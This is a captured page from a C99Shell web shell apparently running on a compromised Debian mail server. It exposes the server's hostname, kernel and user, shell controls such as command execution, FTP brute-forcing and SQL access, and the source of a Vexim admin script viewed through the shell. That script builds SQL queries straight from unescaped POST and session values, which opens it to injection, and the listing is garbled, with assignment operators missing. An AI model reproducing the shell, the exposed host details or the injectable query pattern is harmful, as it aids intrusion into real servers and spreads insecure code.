!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.16 (Debian). PHP/5.3.3-7+squeeze19 

uname -a: Linux mail.tri-specialutilitydistrict.com 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC
2014 x86_64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/vexim/   drwxr-xr-x
Free 130.06 GB of 142.11 GB (91.52%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     adminuseraddsubmit.php (4.7 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
  
include_once dirname(__FILE__) . '/config/httpheaders.php';
  include_once 
dirname(__FILE__) . '/config/variables.php';
  include_once 
dirname(__FILE__) . '/config/authpostmaster.php';
  include_once 
dirname(__FILE__) . '/config/functions.php';

  
$domquery "SELECT (count(users.user_id) < domains.max_accounts)
    OR (domains.max_accounts=0) AS allowed FROM users,domain
    WHERE users.domain_id=domains.domain_id
    AND domains.domain_id=
{$_SESSION['domain_id']}
    AND users.type='local'  GROUP BY domains.max_accounts"
;
  
$domresult $db->query($domquery);
  if (!
DB::isError($domresult)) {
    
$domrow $domresult->fetchRow();
    if (!
$domrow['allowed']) {
        
header ("Location: adminuser.php?maxaccounts=true");
    }
  }

  
# Strip off leading and trailing spaces
  
$_POST['localpart'] = preg_replace("/^\s+/","",$_POST['localpart']);
  
$_POST['localpart'] = preg_replace("/\s+$/","",$_POST['localpart']); 

  
# Fix the boolean values
  
$query "SELECT avscan,spamassassin,pipe,uid,gid,quotas FROM domains 
    WHERE domain_id=
{$_SESSION['domain_id']}";
  
$result $db->query($query);
  if (
$result->numRows()) {
    
$row $result->fetchRow();
  }
  if (isset(
$_POST['admin'])) {
    
$_POST['admin'] = 1;
  } else {
    
$_POST['admin'] = 0;
  }
  if (isset(
$_POST['enabled'])) {
    
$_POST['enabled'] = 1;
  } else {
    
$_POST['enabled'] = 0;
  }
  if (!isset(
$_POST['uid'])) {
    
$_POST['uid'] = $row['uid'];
  }
  if (!isset(
$_POST['gid'])) {
    
$_POST['gid'] = $row['gid'];
  }
  if (!isset(
$_POST['quota'])) {
    
$_POST['quota'] = $row['quotas'];
  }
  if (
$row['quotas'] != "0") {
    if ((
$_POST['quota'] > $row['quotas']) || ($_POST['quota'] == "0")) { 
      
header ("Location: adminuser.php?quotahigh={$row['quotas']}");
      die; 
    }
  }
  
# Do some checking, to make sure the user is ALLOWED to make these changes
  
if ((isset($_POST['on_piped'])) && ($row['pipe'] == 1)) {
    
$_POST['on_piped'] = 1;
  } else {
    
$_POST['on_piped'] = 0;
  }
  if ((isset(
$_POST['on_avscan'])) && ($row['avscan'] == 1)) {
    
$_POST['on_avscan'] = 1;
  } else {
    
$_POST['on_avscan'] = 0;
  }
  if ((isset(
$_POST['on_spamassassin'])) && ($row['spamassassin'] == 1)) {
    
$_POST['on_spamassassin'] = 1;
  } else {
    
$_POST['on_spamassassin'] = 0;
  }

  
check_user_exists(
    
$db,$_POST['localpart'],$_SESSION['domain_id'],'adminuser.php'
  
);

  if (
preg_match("/^\s*$/",$_POST['realname'])) {
    
header('Location: adminuser.php?blankname=yes');
    die;
  }

  if (
preg_match("/['@%!\/\| ']/",$_POST['localpart'])
    || 
preg_match("/^\s*$/",$_POST['localpart'])) {
    
header("Location: adminuser.php?badname={$_POST['localpart']}");
    die;
  }

  
$query "SELECT maildir FROM domains
    WHERE domain_id =
{$_SESSION['domain_id']}";
  
$result $db->query($query);
  if (
$result->numRows()) { $row $result->fetchRow(); }
  if ((
$_POST['on_piped'] == 1) && ($_POST['smtp'] != '')) {
    
$smtphomepath $_POST['smtp'];
    
$pophomepath "{$row['maildir']}/{$_POST['localpart']}";
    
$_POST['type'] = 'piped';
  } else {
    
$smtphomepath "{$row['maildir']}/{$_POST['localpart']}/Maildir";
    
$pophomepath "{$row['maildir']}/{$_POST['localpart']}";
    
$_POST['type'] = 'local';
  }

  if (
validate_password($_POST['clear'], $_POST['vclear'])) {
    
$query "INSERT INTO users (localpart, username, domain_id, crypt,
      smtp, pop, uid, gid, realname, type, admin, on_avscan, on_piped,
      on_spamassassin, sa_tag, sa_refuse, maxmsgsize, enabled, quota)
      VALUES ('
{$_POST['localpart']}',
      '
{$_POST['localpart']}@{$_SESSION['domain']}',
      
{$_SESSION['domain_id']},
      '" 
crypt_password($_POST['clear'],$salt) . "',
      '
{$smtphomepath}',
      '
{$pophomepath}',
      
{$_POST['uid']},
      
{$_POST['gid']},
      '
{$_POST['realname']}',
      '
{$_POST['type']}',
      
{$_POST['admin']},
      
{$_POST['on_avscan']},
      
{$_POST['on_piped']},
      
{$_POST['on_spamassassin']},
      " 
. ((isset($_POST['sa_tag'] )) ? $_POST['sa_tag']  : 0) . ",
      " 
.((isset($_POST['sa_refuse'] )) ? $_POST['sa_refuse']  : 0) . ",
      
{$_POST['maxmsgsize']},
      
{$_POST['enabled']},
      
{$_POST['quota']})";
    
$result $db->query($query);
    if (!
DB::isError($result)) {
      
header ("Location: adminuser.php?added={$_POST['localpart']}");
      
mail("{$_POST['localpart']}@{$_SESSION['domain']}",
        
"Welcome {$_POST['realname']}!",
        
"$welcome_message",
        
"From: {$_SESSION['localpart']}@{$_SESSION['domain']}\r\n");
      die;
    } else {
      
header ("Location: adminuser.php?failadded={$_POST['localpart']}");
      die;
    }
  } else {
    
header ("Location: adminuser.php?badpass={$_POST['localpart']}");
    die;
  }
?>
<!-- Layout and CSS tricks obtained from http://www.bluerobot.com/web/layouts/ -->

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0137 ]--